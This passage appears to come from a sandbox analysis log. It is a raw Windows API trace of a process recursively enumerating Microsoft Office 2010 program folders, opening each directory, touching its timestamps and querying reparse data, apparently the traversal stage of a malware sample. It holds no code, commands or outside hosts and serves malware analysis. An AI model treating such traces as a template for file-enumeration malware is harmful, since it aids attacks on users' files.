hFindFile=0x4fd6e0 | out: hFindFile=0x4fd6e0) returned 1 [0248.092] GetLastError () returned 0x12 [0248.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.093] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.093] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.093] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd5a0 [0248.093] GetLastError () returned 0x12 [0248.093] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.093] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.093] GetLastError () returned 0x12 [0248.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0248.096] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.096] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.096] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.096] GetLastError () returned 0x12 [0248.096] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd5a0 [0248.096] FindClose (in: hFindFile=0x4fd6e0 | out: hFindFile=0x4fd6e0) returned 1 [0248.097] GetLastError () returned 0x12 [0248.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0248.098] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.098] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9cc120, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9cc120, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.098] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd5a0 [0248.098] GetLastError () returned 0x12 [0248.098] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.098] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0248.098] GetLastError () returned 0x12 [0248.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0248.100] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.100] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.100] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.100] GetLastError () returned 0x12 [0248.100] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd5a0 [0248.100] FindClose (in: hFindFile=0x4fd6e0 | out: hFindFile=0x4fd6e0) returned 1 [0248.100] GetLastError () returned 0x12 [0248.100] GetLastError () returned 0x12 [0248.100] GetLastError () returned 0x12 [0248.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0248.101] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0248.101] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0248.101] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd6a0 [0248.103] GetLastError () returned 0x12 [0248.103] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd660 [0248.103] FindClose (in: hFindFile=0x4fd6a0 | out: hFindFile=0x4fd6a0) returned 1 [0248.103] GetLastError () returned 0x12 [0248.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0248.104] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0248.104] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0248.104] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd660 [0248.106] GetLastError () returned 0x12 [0248.106] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd6a0 [0248.107] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0248.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0248.108] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0248.108] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0248.108] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe474) returned 0x4fd660 [0248.108] GetLastError () returned 0x12 [0248.108] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe474) returned 0x4fd5a0 [0248.108] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0248.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0248.110] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe3b4, lpLastWriteTime=0x15fe3b4) returned 0 [0248.110] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe40c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe40c, lpOverlapped=0x0) returned 0 [0248.110] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd660 [0248.110] GetLastError () returned 0x12 [0248.110] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe1bc) returned 0x4fd6e0 [0248.111] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0248.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0248.112] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe0fc, lpLastWriteTime=0x15fe0fc) returned 0 [0248.113] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe154, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe154, lpOverlapped=0x0) returned 0 [0248.113] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\*", fInfoLevelId=0x1, lpFindFileData=0x15fdf04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fdf04) returned 0x4fd660 [0248.114] GetLastError () returned 0x12 [0248.114] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\*", fInfoLevelId=0x1, lpFindFileData=0x15fdf04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fdf04) returned 0x4fd720 [0248.114] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0248.114] GetLastError () returned 0x12 [0248.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1cc [0248.114] SetFileTime (hFile=0x1cc, lpCreationTime=0x0, lpLastAccessTime=0x15fe0fc, lpLastWriteTime=0x15fe0fc) returned 0 [0248.114] DeviceIoControl (in: hDevice=0x1cc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe154, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe154, lpOverlapped=0x0) returned 0 [0248.114] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\*", fInfoLevelId=0x1, lpFindFileData=0x15fdf04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fdf04) returned 0x4fd720 [0248.118] GetLastError () returned 0x12 [0248.118] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\*", fInfoLevelId=0x1, lpFindFileData=0x15fdf04, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fdf04) returned 0x4fd660 [0248.118] FindClose (in: hFindFile=0x4fd720 | out: hFindFile=0x4fd720) returned 1 [0248.118] GetLastError () returned 0x12 [0248.119] GetLastError () returned 0x12 [0248.119] GetLastError () returned 0x12 [0248.120] GetLastError () returned 0x12 [0248.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0248.121] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0248.121] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0248.121] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd6a0 [0248.122] GetLastError () returned 0x12 [0248.122] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe72c) returned 0x4fd5a0 [0248.122] FindClose (in: hFindFile=0x4fd6a0 | out: hFindFile=0x4fd6a0) returned 1 [0248.122] GetLastError () returned 0x12 [0248.122] GetLastError () returned 0x12 [0248.122] GetLastError () returned 0x12 [0248.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0248.123] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.123] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.123] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0248.126] GetLastError () returned 0x12 [0248.126] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0248.126] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0248.127] GetLastError () returned 0x12 [0248.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.127] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.128] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.128] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0248.131] GetLastError () returned 0x12 [0248.131] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0248.131] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\space templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0248.132] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0248.132] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0248.133] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd4e0 [0248.133] GetLastError () returned 0x12 [0248.133] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0248.133] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0248.133] GetLastError () returned 0x12 [0248.133] GetLastError () returned 0x12 [0248.133] GetLastError () returned 0x12 [0248.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0248.134] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0248.134] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0248.134] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0248.140] GetLastError () returned 0x12 [0248.140] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0248.140] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0248.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0248.141] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0248.142] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0248.142] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0248.143] GetLastError () returned 0x12 [0248.143] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5a0 [0248.143] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0248.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" (normalized: "c:\\program 